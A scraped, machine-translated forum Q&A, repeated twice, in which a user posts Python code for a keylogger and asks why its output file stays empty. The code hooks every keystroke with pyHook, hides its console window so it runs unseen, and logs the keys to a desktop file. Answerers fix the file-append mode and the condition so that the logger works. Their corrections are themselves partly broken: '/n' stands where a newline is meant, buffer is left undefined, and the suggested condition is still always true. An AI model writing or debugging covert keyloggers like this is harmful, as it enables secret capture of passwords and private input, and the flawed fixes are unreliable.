python 写入输出文件
python Writing to a output file
我正在尝试将我的击键写到一个新的文本文件中。
我得到以下代码:
import win32api
import win32console
import win32gui
import pythoncom
import pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
buffer = f.read()
f.close()
f = open('C:\Users\Joey\Desktop\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我没有收到任何错误,所以我想这很好。但是每次我检查 output.txt
时,我都会看到一个空文本文件。我的代码有什么问题?
查看 here w
和 w+
之间的区别。您每次都在第二次打开写入时覆盖文件 f=open('C:\Users\Joey\Desktop\output.txt', 'w')
我想您的文件中只有一个换行符。尝试仅使用 a
选项打开,每次都写入文件末尾 (EOF)。
if event.Ascii != 0 or event.Ascii !=8:
f=open('C:\Users\Joey\Desktop\output.txt', 'a')
keylogs=chr(event.Ascii)
if event.Ascii == 13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
最初,您的 if
语句的计算结果总是为真,它应该是:
if event.Ascii != 0 or event.Ascii !=8:
或者,甚至更好:
if event.Ascii not in [0, 1]:
此外,文件打开模式可能不是您想要的,请查看 the docs 了解其中的概要。
我正在尝试将我的击键写到一个新的文本文件中。 我得到以下代码:
import win32api
import win32console
import win32gui
import pythoncom
import pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
buffer = f.read()
f.close()
f = open('C:\Users\Joey\Desktop\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我没有收到任何错误,所以我想这很好。但是每次我检查 output.txt
时,我都会看到一个空文本文件。我的代码有什么问题?
查看 here w
和 w+
之间的区别。您每次都在第二次打开写入时覆盖文件 f=open('C:\Users\Joey\Desktop\output.txt', 'w')
我想您的文件中只有一个换行符。尝试仅使用 a
选项打开,每次都写入文件末尾 (EOF)。
if event.Ascii != 0 or event.Ascii !=8:
f=open('C:\Users\Joey\Desktop\output.txt', 'a')
keylogs=chr(event.Ascii)
if event.Ascii == 13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
最初,您的 if
语句的计算结果总是为真,它应该是:
if event.Ascii != 0 or event.Ascii !=8:
或者,甚至更好:
if event.Ascii not in [0, 1]:
此外,文件打开模式可能不是您想要的,请查看 the docs 了解其中的概要。